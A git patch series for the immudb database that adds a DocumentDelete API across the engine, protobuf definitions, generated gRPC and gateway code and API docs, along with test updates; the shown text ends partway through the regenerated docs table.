response.JSON200.DocumentId + fieldName := "_id" operator := httpclient.EQ @@ -58,9 +62,7 @@ func TestCreateDocument(t *testing.T) { { Field: &fieldName, Operator: &operator, - Value: &map[string]interface{}{ - "_id": &documentId, - }, + Value: documentId, }, }, }, @@ -68,16 +70,17 @@ func TestCreateDocument(t *testing.T) { } page := int64(1) - perPage := int64(100) + perPage := int64(1) searchReq := httpclient.ModelDocumentSearchRequest{ - Collection: collection.Name, + Collection: &collectionName, Query: &query, Page: &page, PerPage: &perPage, } - searchResponse, _ := client.DocumentSearchWithResponse(context.Background(), searchReq) + searchResponse, err := client.DocumentSearchWithResponse(context.Background(), searchReq) + require.NoError(t, err) fmt.Println(searchResponse.StatusCode()) require.True(t, searchResponse.StatusCode() == 200) @@ -85,9 +88,9 @@ func TestCreateDocument(t *testing.T) { firstDocument := (*revisions[0].Document) - require.True(t, firstDocument["_id"] == documentId) - require.True(t, firstDocument["age"] == 30) - require.True(t, firstDocument["name"] == "John") - require.True(t, firstDocument["surname"] == "Doe") + require.Equal(t, *documentId, firstDocument["_id"]) + require.Equal(t, float64(30), firstDocument["age"]) + require.Equal(t, "John", firstDocument["name"]) + require.Equal(t, "Doe", firstDocument["surname"]) } diff --git a/test/document_storage_tests/documents_tests/utils.go b/test/document_storage_tests/documents_tests/utils.go index 202900667b..ba9e7b482e 100644 --- a/test/document_storage_tests/documents_tests/utils.go +++ b/test/document_storage_tests/documents_tests/utils.go @@ -27,7 +27,7 @@ import ( "github.com/google/uuid" ) -var baseURL = GetEnv("DOCUMENTS_TEST_BASEURL", "http://localhost:8091/api/v2") +var baseURL = GetEnv("DOCUMENTS_TEST_BASEURL", "http://localhost:8080/api/v2") func GetEnv(key, defaultValue string) string { value := os.Getenv(key) @@ -36,7 +36,7 @@ func GetEnv(key, defaultValue string) string { } return value } -func GetStandarizedRandomString() string { +func getStandarizedRandomString() string { return uuid.New().String() } @@ -63,6 +63,7 @@ func getAuthorizedClient() *httpclient.ClientWithResponses { if err != nil { panic(err) } + if response.StatusCode() != 200 { panic("Could not login") } @@ -71,7 +72,7 @@ func getAuthorizedClient() *httpclient.ClientWithResponses { baseURL, httpclient.WithRequestEditorFn( func(ctx context.Context, req *http.Request) error { - req.Header.Set("grpc-metadata-sessionid", *response.JSON200.SessionID) + req.Header.Set("sessionid", *response.JSON200.SessionID) return nil }, ), @@ -83,25 +84,18 @@ func getAuthorizedClient() *httpclient.ClientWithResponses { return authClient } -func createRandomCollection(client *httpclient.ClientWithResponses) (*httpclient.ModelCollection, error) { - collectionName := GetStandarizedRandomString() - - idField := "_docid" - +func createCollection(collectionName string, client *httpclient.ClientWithResponses) error { req := httpclient.CollectionCreateJSONRequestBody{ - Collection: &httpclient.ModelCollection{ - Name: &collectionName, - IdFieldName: &idField, - }, + Name: &collectionName, } response, err := client.CollectionCreateWithResponse(context.Background(), req) if err != nil { - return nil, err + return err } if response.StatusCode() != 200 { - return nil, fmt.Errorf("no 200 response: %d", response.StatusCode()) + return fmt.Errorf("no 200 response: %d", response.StatusCode()) } - return response.JSON200.Collection, nil + return nil } From 6c41d9aa54a52b14148c9ed70f88b0a77d9889fd Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 3 May 2023 13:43:14 +0530 Subject: [PATCH 0490/1062] chore: add DocumentDelete api --- embedded/document/engine.go | 75 +++++++++++++++++++++++++++++++++++ embedded/sql/sql_tx.go | 2 +- embedded/sql/stmt.go | 8 ++-- pkg/api/proto/documents.proto | 21 ++++++++++ 4 files changed, 101 insertions(+), 5 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index f4286b1b7d..ed7fdf4f22 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -926,3 +926,78 @@ func (e *Engine) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityChec return entry.Metadata(), v, nil } + +func (e *Engine) DeleteDocument(ctx context.Context, collectionName string, query *protomodel.Query) (err error) { + sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions()) + if err != nil { + return mayTranslateError(err) + } + defer sqlTx.Cancel() + + table, err := getTableForCollection(sqlTx, collectionName) + if err != nil { + return mayTranslateError(err) + } + + idFieldName := docIDFieldName(table) + + queryCondition, err := e.generateSQLExpression(ctx, query, table) + if err != nil { + return mayTranslateError(err) + } + + queryStmt := sql.NewSelectStmt( + []sql.Selector{sql.NewColSelector(collectionName, idFieldName)}, + collectionName, + queryCondition, + sql.NewInteger(1), + nil, + ) + + r, err := e.sqlEngine.QueryPreparedStmt(ctx, sqlTx, queryStmt, nil) + if err != nil { + return mayTranslateError(err) + } + defer r.Close() + + rows := make([]*sql.Row, 0) + for { + row, err := r.Read(ctx) + if err == sql.ErrNoMoreRows { + err = ErrNoMoreDocuments + break + } + if err != nil { + return mayTranslateError(err) + } + rows = append(rows, row) + } + + if len(rows) == 0 { + return ErrDocumentNotFound + } + + if len(rows) > 1 { + return ErrMultipleDocumentsFound + } + + row := rows[0] + val := row.ValuesByPosition[0].RawValue().([]byte) + docID, err := NewDocumentIDFromRawBytes(val) + if err != nil { + return mayTranslateError(err) + } + + // fetch revision + docKey, err := e.getKeyForDocument(ctx, sqlTx, collectionName, docID) + if err != nil { + return mayTranslateError(err) + } + + err = sqlTx.Delete(docKey) + if err != nil { + return mayTranslateError(err) + } + + return nil +} diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index 7887d26e0c..2b76bb2531 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -142,6 +142,6 @@ func (sqlTx *SQLTx) Closed() bool { return sqlTx.closed } -func (sqlTx *SQLTx) delete(key []byte) error { +func (sqlTx *SQLTx) Delete(key []byte) error { return sqlTx.tx.Delete(key) } diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 0ef351291f..a94d632653 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -4058,7 +4058,7 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str EncodeID(table.id), EncodeID(index.id), ) - err = tx.delete(mappedKey) + err = tx.Delete(mappedKey) if err != nil { return nil, err } @@ -4075,7 +4075,7 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str EncodeID(col.id), []byte(col.colType), ) - err = tx.delete(mappedKey) + err = tx.Delete(mappedKey) if err != nil { return nil, err } @@ -4088,7 +4088,7 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str EncodeID(1), EncodeID(table.id), ) - err = tx.delete(mappedKey) + err = tx.Delete(mappedKey) if err != nil { return nil, err } @@ -4155,7 +4155,7 @@ func (stmt *DropIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[str EncodeID(table.id), EncodeID(index.id), ) - err = tx.delete(indexKey) + err = tx.Delete(indexKey) if err != nil { return nil, err } diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index 69240a1e32..20c9952e36 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -226,6 +226,14 @@ message DocumentProofResponse { schema.VerifiableTxV2 verifiableTx = 5; } +message DocumentDeleteRequest { + string collection = 1; + Query query = 2; +} + +message DocumentDeleteResponse {} + + service DocumentService { rpc CollectionCreate(CollectionCreateRequest) returns (CollectionCreateResponse) { option (google.api.http) = { @@ -360,4 +368,17 @@ service DocumentService { ]; }; } + + rpc DocumentDelete(DocumentDeleteRequest) returns (DocumentDeleteResponse) { + option (google.api.http) = { + put: "/documents/delete" + body: "*" + }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: [ + "documents" + ]; + }; + } + } From ba68e56aa95526116c046b45d8d9633701dc6610 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 3 May 2023 15:10:20 +0530 Subject: [PATCH 0491/1062] chore: generate proto requests for DocumentDelete api --- Makefile | 1 + pkg/api/proto/documents.proto | 2 - pkg/api/protomodel/authorization.pb.go | 54 +-- pkg/api/protomodel/docs.md | 281 +++++++------- pkg/api/protomodel/documents.pb.go | 482 +++++++++++++++--------- pkg/api/protomodel/documents.pb.gw.go | 81 ++++ pkg/api/protomodel/documents_grpc.pb.go | 36 ++ pkg/database/document_database.go | 14 + pkg/server/db_dummy_closed.go | 4 + pkg/server/documents_operations.go | 12 + 10 files changed, 640 insertions(+), 327 deletions(-) diff --git a/Makefile b/Makefile index 5bce3b0bcc..35c02dcfaf 100644 --- a/Makefile +++ b/Makefile @@ -205,6 +205,7 @@ build/codegenv2: --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/protomodel \ --doc_out=pkg/api/protomodel --doc_opt=markdown,docs.md \ --swagger_out=logtostderr=true,allow_merge=true,simple_operation_ids=true:pkg/api/openapi \ + --openapiv2_out=allow_merge=true,simple_operation_ids=true,disable_service_tags=true:pkg/api/openapi \ ./swagger/dist: rm -rf swagger/dist/ diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index 20c9952e36..d3b855a591 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -233,7 +233,6 @@ message DocumentDeleteRequest { message DocumentDeleteResponse {} - service DocumentService { rpc CollectionCreate(CollectionCreateRequest) returns (CollectionCreateResponse) { option (google.api.http) = { @@ -380,5 +379,4 @@ service DocumentService { ]; }; } - } diff --git a/pkg/api/protomodel/authorization.pb.go b/pkg/api/protomodel/authorization.pb.go index 0a2889b9fd..9dfbdaa997 100644 --- a/pkg/api/protomodel/authorization.pb.go +++ b/pkg/api/protomodel/authorization.pb.go @@ -15,7 +15,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.28.1 +// protoc-gen-go v1.30.0 // protoc v3.21.12 // source: authorization.proto @@ -363,40 +363,40 @@ var file_authorization_proto_rawDesc = []byte{ 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x20, 0x22, 0x1b, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x70, 0x65, 0x6e, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x11, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x62, 0x00, 0x12, 0x8b, 0x01, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, + 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x92, 0x41, 0x11, 0x0a, 0x0d, + 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x62, 0x00, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x3a, 0x01, 0x2a, 0x22, 0x1b, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, + 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x2f, 0x6f, 0x70, 0x65, 0x6e, 0x12, 0x8b, 0x01, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x25, 0x22, 0x20, 0x2f, 0x61, - 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6b, 0x65, 0x65, 0x70, 0x61, 0x6c, 0x69, 0x76, 0x65, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x90, 0x01, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3d, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, + 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x25, 0x3a, 0x01, + 0x2a, 0x22, 0x20, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6b, 0x65, 0x65, 0x70, 0x61, 0x6c, + 0x69, 0x76, 0x65, 0x12, 0x90, 0x01, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x21, 0x22, 0x1c, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x63, 0x6c, 0x6f, 0x73, - 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, - 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0xad, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, - 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, - 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x79, 0x12, 0x27, 0x0a, - 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, - 0x20, 0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, - 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, - 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, - 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, - 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x92, 0x41, 0x0f, + 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x21, 0x3a, 0x01, 0x2a, 0x22, 0x1c, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, + 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x2f, 0x63, 0x6c, 0x6f, 0x73, 0x65, 0x42, 0xad, 0x01, 0x92, 0x41, 0x79, 0x12, 0x27, 0x0a, 0x12, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, + 0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, + 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, + 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, + 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, + 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, + 0x75, 0x74, 0x68, 0x12, 0x00, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, + 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index 29b42076f2..00dcb7b210 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -3,68 +3,70 @@ ## Table of Contents -- [authorization.proto](#authorization.proto) - - [CloseSessionRequest](#immudb.model.CloseSessionRequest) - - [CloseSessionResponse](#immudb.model.CloseSessionResponse) - - [KeepAliveRequest](#immudb.model.KeepAliveRequest) - - [KeepAliveResponse](#immudb.model.KeepAliveResponse) - - [OpenSessionRequest](#immudb.model.OpenSessionRequest) - - [OpenSessionResponse](#immudb.model.OpenSessionResponse) +- [authorization.proto](#authorization-proto) + - [CloseSessionRequest](#immudb-model-CloseSessionRequest) + - [CloseSessionResponse](#immudb-model-CloseSessionResponse) + - [KeepAliveRequest](#immudb-model-KeepAliveRequest) + - [KeepAliveResponse](#immudb-model-KeepAliveResponse) + - [OpenSessionRequest](#immudb-model-OpenSessionRequest) + - [OpenSessionResponse](#immudb-model-OpenSessionResponse) - - [AuthorizationService](#immudb.model.AuthorizationService) + - [AuthorizationService](#immudb-model-AuthorizationService) -- [documents.proto](#documents.proto) - - [Collection](#immudb.model.Collection) - - [CollectionCreateRequest](#immudb.model.CollectionCreateRequest) - - [CollectionCreateResponse](#immudb.model.CollectionCreateResponse) - - [CollectionDeleteRequest](#immudb.model.CollectionDeleteRequest) - - [CollectionDeleteResponse](#immudb.model.CollectionDeleteResponse) - - [CollectionGetRequest](#immudb.model.CollectionGetRequest) - - [CollectionGetResponse](#immudb.model.CollectionGetResponse) - - [CollectionListRequest](#immudb.model.CollectionListRequest) - - [CollectionListResponse](#immudb.model.CollectionListResponse) - - [CollectionUpdateRequest](#immudb.model.CollectionUpdateRequest) - - [CollectionUpdateResponse](#immudb.model.CollectionUpdateResponse) - - [DocumentAtRevision](#immudb.model.DocumentAtRevision) - - [DocumentAuditRequest](#immudb.model.DocumentAuditRequest) - - [DocumentAuditResponse](#immudb.model.DocumentAuditResponse) - - [DocumentInsertManyRequest](#immudb.model.DocumentInsertManyRequest) - - [DocumentInsertManyResponse](#immudb.model.DocumentInsertManyResponse) - - [DocumentInsertRequest](#immudb.model.DocumentInsertRequest) - - [DocumentInsertResponse](#immudb.model.DocumentInsertResponse) - - [DocumentProofRequest](#immudb.model.DocumentProofRequest) - - [DocumentProofResponse](#immudb.model.DocumentProofResponse) - - [DocumentSearchRequest](#immudb.model.DocumentSearchRequest) - - [DocumentSearchResponse](#immudb.model.DocumentSearchResponse) - - [DocumentUpdateRequest](#immudb.model.DocumentUpdateRequest) - - [DocumentUpdateResponse](#immudb.model.DocumentUpdateResponse) - - [Field](#immudb.model.Field) - - [FieldComparison](#immudb.model.FieldComparison) - - [Index](#immudb.model.Index) - - [IndexCreateRequest](#immudb.model.IndexCreateRequest) - - [IndexCreateResponse](#immudb.model.IndexCreateResponse) - - [IndexDeleteRequest](#immudb.model.IndexDeleteRequest) - - [IndexDeleteResponse](#immudb.model.IndexDeleteResponse) - - [Query](#immudb.model.Query) - - [QueryExpression](#immudb.model.QueryExpression) +- [documents.proto](#documents-proto) + - [Collection](#immudb-model-Collection) + - [CollectionCreateRequest](#immudb-model-CollectionCreateRequest) + - [CollectionCreateResponse](#immudb-model-CollectionCreateResponse) + - [CollectionDeleteRequest](#immudb-model-CollectionDeleteRequest) + - [CollectionDeleteResponse](#immudb-model-CollectionDeleteResponse) + - [CollectionGetRequest](#immudb-model-CollectionGetRequest) + - [CollectionGetResponse](#immudb-model-CollectionGetResponse) + - [CollectionListRequest](#immudb-model-CollectionListRequest) + - [CollectionListResponse](#immudb-model-CollectionListResponse) + - [CollectionUpdateRequest](#immudb-model-CollectionUpdateRequest) + - [CollectionUpdateResponse](#immudb-model-CollectionUpdateResponse) + - [DocumentAtRevision](#immudb-model-DocumentAtRevision) + - [DocumentAuditRequest](#immudb-model-DocumentAuditRequest) + - [DocumentAuditResponse](#immudb-model-DocumentAuditResponse) + - [DocumentDeleteRequest](#immudb-model-DocumentDeleteRequest) + - [DocumentDeleteResponse](#immudb-model-DocumentDeleteResponse) + - [DocumentInsertManyRequest](#immudb-model-DocumentInsertManyRequest) + - [DocumentInsertManyResponse](#immudb-model-DocumentInsertManyResponse) + - [DocumentInsertRequest](#immudb-model-DocumentInsertRequest) + - [DocumentInsertResponse](#immudb-model-DocumentInsertResponse) + - [DocumentProofRequest](#immudb-model-DocumentProofRequest) + - [DocumentProofResponse](#immudb-model-DocumentProofResponse) + - [DocumentSearchRequest](#immudb-model-DocumentSearchRequest) + - [DocumentSearchResponse](#immudb-model-DocumentSearchResponse) + - [DocumentUpdateRequest](#immudb-model-DocumentUpdateRequest) + - [DocumentUpdateResponse](#immudb-model-DocumentUpdateResponse) + - [Field](#immudb-model-Field) + - [FieldComparison](#immudb-model-FieldComparison) + - [Index](#immudb-model-Index) + - [IndexCreateRequest](#immudb-model-IndexCreateRequest) + - [IndexCreateResponse](#immudb-model-IndexCreateResponse) + - [IndexDeleteRequest](#immudb-model-IndexDeleteRequest) + - [IndexDeleteResponse](#immudb-model-IndexDeleteResponse) + - [Query](#immudb-model-Query) + - [QueryExpression](#immudb-model-QueryExpression) - - [ComparisonOperator](#immudb.model.ComparisonOperator) - - [FieldType](#immudb.model.FieldType) + - [ComparisonOperator](#immudb-model-ComparisonOperator) + - [FieldType](#immudb-model-FieldType) - - [DocumentService](#immudb.model.DocumentService) + - [DocumentService](#immudb-model-DocumentService) - [Scalar Value Types](#scalar-value-types) - +

Top

## authorization.proto - + ### CloseSessionRequest @@ -74,7 +76,7 @@ - + ### CloseSessionResponse @@ -84,7 +86,7 @@ - + ### KeepAliveRequest @@ -94,7 +96,7 @@ - + ### KeepAliveResponse @@ -104,7 +106,7 @@ - + ### OpenSessionRequest @@ -121,7 +123,7 @@ - + ### OpenSessionResponse @@ -145,29 +147,29 @@ - + ### AuthorizationService | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| -| OpenSession | [OpenSessionRequest](#immudb.model.OpenSessionRequest) | [OpenSessionResponse](#immudb.model.OpenSessionResponse) | | -| KeepAlive | [KeepAliveRequest](#immudb.model.KeepAliveRequest) | [KeepAliveResponse](#immudb.model.KeepAliveResponse) | | -| CloseSession | [CloseSessionRequest](#immudb.model.CloseSessionRequest) | [CloseSessionResponse](#immudb.model.CloseSessionResponse) | | +| OpenSession | [OpenSessionRequest](#immudb-model-OpenSessionRequest) | [OpenSessionResponse](#immudb-model-OpenSessionResponse) | | +| KeepAlive | [KeepAliveRequest](#immudb-model-KeepAliveRequest) | [KeepAliveResponse](#immudb-model-KeepAliveResponse) | | +| CloseSession | [CloseSessionRequest](#immudb-model-CloseSessionRequest) | [CloseSessionResponse](#immudb-model-CloseSessionResponse) | | - +

Top

## documents.proto - + ### Collection @@ -177,15 +179,15 @@ | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | | idFieldName | [string](#string) | | | -| fields | [Field](#immudb.model.Field) | repeated | | -| indexes | [Index](#immudb.model.Index) | repeated | | +| fields | [Field](#immudb-model-Field) | repeated | | +| indexes | [Index](#immudb-model-Index) | repeated | | - + ### CollectionCreateRequest @@ -195,15 +197,15 @@ | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | | idFieldName | [string](#string) | | | -| fields | [Field](#immudb.model.Field) | repeated | | -| indexes | [Index](#immudb.model.Index) | repeated | | +| fields | [Field](#immudb-model-Field) | repeated | | +| indexes | [Index](#immudb-model-Index) | repeated | | - + ### CollectionCreateResponse @@ -213,7 +215,7 @@ - + ### CollectionDeleteRequest @@ -228,7 +230,7 @@ - + ### CollectionDeleteResponse @@ -238,7 +240,7 @@ - + ### CollectionGetRequest @@ -253,7 +255,7 @@ - + ### CollectionGetResponse @@ -261,14 +263,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [Collection](#immudb.model.Collection) | | | +| collection | [Collection](#immudb-model-Collection) | | | - + ### CollectionListRequest @@ -278,7 +280,7 @@ - + ### CollectionListResponse @@ -286,14 +288,14 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collections | [Collection](#immudb.model.Collection) | repeated | | +| collections | [Collection](#immudb-model-Collection) | repeated | | - + ### CollectionUpdateRequest @@ -309,7 +311,7 @@ - + ### CollectionUpdateResponse @@ -319,7 +321,7 @@ - + ### DocumentAtRevision @@ -329,14 +331,14 @@ | ----- | ---- | ----- | ----------- | | transactionId | [uint64](#uint64) | | | | revision | [uint64](#uint64) | | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | +| document | [google.protobuf.Struct](#google-protobuf-Struct) | | | - + ### DocumentAuditRequest @@ -355,7 +357,7 @@ - + ### DocumentAuditResponse @@ -363,14 +365,40 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | +| revisions | [DocumentAtRevision](#immudb-model-DocumentAtRevision) | repeated | | - + + +### DocumentDeleteRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [string](#string) | | | +| query | 